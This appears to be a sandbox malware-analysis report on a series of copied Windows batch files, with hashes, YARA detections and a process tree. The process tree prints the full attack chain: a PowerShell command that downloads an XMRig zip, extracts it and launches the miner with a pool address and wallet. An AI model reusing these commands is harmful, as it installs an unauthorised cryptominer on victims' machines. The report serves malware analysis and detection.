Overview
overview
10Static
static
1tesy - Copy (10).bat
windows7-x64
10tesy - Copy (10).bat
windows10-2004-x64
10tesy - Copy (11).bat
windows7-x64
10tesy - Copy (11).bat
windows10-2004-x64
10tesy - Copy (12).bat
windows7-x64
10tesy - Copy (12).bat
windows10-2004-x64
10tesy - Copy (13).bat
windows7-x64
10tesy - Copy (13).bat
windows10-2004-x64
10tesy - Copy (14).bat
windows7-x64
10tesy - Copy (14).bat
windows10-2004-x64
10tesy - Copy (2).bat
windows7-x64
10tesy - Copy (2).bat
windows10-2004-x64
10tesy - Copy (3).bat
windows7-x64
10tesy - Copy (3).bat
windows10-2004-x64
10tesy - Copy (4).bat
windows7-x64
10tesy - Copy (4).bat
windows10-2004-x64
10tesy - Copy (5).bat
windows7-x64
10tesy - Copy (5).bat
windows10-2004-x64
10tesy - Copy (6).bat
windows7-x64
10tesy - Copy (6).bat
windows10-2004-x64
10tesy - Copy (7).bat
windows7-x64
10tesy - Copy (7).bat
windows10-2004-x64
10tesy - Copy (8).bat
windows7-x64
10tesy - Copy (8).bat
windows10-2004-x64
10tesy - Copy (9).bat
windows7-x64
10tesy - Copy (9).bat
windows10-2004-x64
10tesy - Copy.bat
windows7-x64
10tesy - Copy.bat
windows10-2004-x64
10tesy.bat
windows7-x64
10tesy.bat
windows10-2004-x64
10Analysis
-
max time kernel
0s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
22/12/2023, 10:03
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
tesy - Copy (10).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
tesy - Copy (11).bat
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
tesy - Copy (11).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
tesy - Copy (12).bat
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
tesy - Copy (12).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
tesy - Copy (13).bat
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
tesy - Copy (13).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
tesy - Copy (14).bat
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
tesy - Copy (14).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
tesy - Copy (2).bat
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
tesy - Copy (2).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
tesy - Copy (3).bat
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
tesy - Copy (3).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
tesy - Copy (4).bat
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
tesy - Copy (4).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
tesy - Copy (5).bat
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
tesy - Copy (5).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
tesy - Copy (6).bat
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
tesy - Copy (6).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
tesy - Copy (7).bat
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
tesy - Copy (7).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
tesy - Copy (8).bat
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
tesy - Copy (8).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
tesy - Copy (9).bat
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
tesy - Copy (9).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
tesy - Copy.bat
Resource
win7-20231129-en
Behavioral task
behavioral28
Sample
tesy - Copy.bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
tesy.bat
Resource
win7-20231215-en
General
-
Target
tesy - Copy (5).bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
-
XMRig Miner payload 5 IoCs
resource yara_rule behavioral18/files/0x0006000000023249-58.dat family_xmrig behavioral18/files/0x0006000000023249-58.dat xmrig behavioral18/memory/692-61-0x00007FF653940000-0x00007FF654443000-memory.dmp xmrig behavioral18/memory/692-62-0x00007FF653940000-0x00007FF654443000-memory.dmp xmrig behavioral18/memory/692-65-0x00007FF653940000-0x00007FF654443000-memory.dmp xmrig -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4496 powershell.exe 4496 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4496 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3640 wrote to memory of 4496 3640 cmd.exe 18 PID 3640 wrote to memory of 4496 3640 cmd.exe 18
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3640 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4496
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵PID:2928
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵PID:692
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD5a5c074e56305e761d7cbc42993300e1c
SHA139b2e23ba5c56b4f332b3607df056d8df23555bf
SHA256e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953
SHA512c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
11KB
MD560b1971af03ea520704e3229bdd4e6bd
SHA130b15ef28133146d9ee996bc7153cee89d9b5e96
SHA256ea9e639c176edac00ed3a541e0195f50e34ec7f1162809d8be5a849cd7def7c4
SHA5123f752112a82e048e2d363e17ed44086089975f118c44f02c04dd22d471a292e35de8ae03615af70d334d0f32ab136612262c83a2b568a1429f32ad3966b9b564
-
Filesize
202KB
MD598b570efd1aed98af8b9956db8c759fd
SHA15b4540df86e3dd11300e871549c30f57d2bcb4b3
SHA2560bac2f736ec9103e522de13c08df37aef954142ceac623a8d2ade7fd5b863fd1
SHA512d1f1a44186e931b4c5ddd9f9d314c25f419288b5faa3fbdb2fc38fa4df00dd6dca749d07f557cdfd9236bb6463f6ac3d252e442d5d626343850e870f9431729a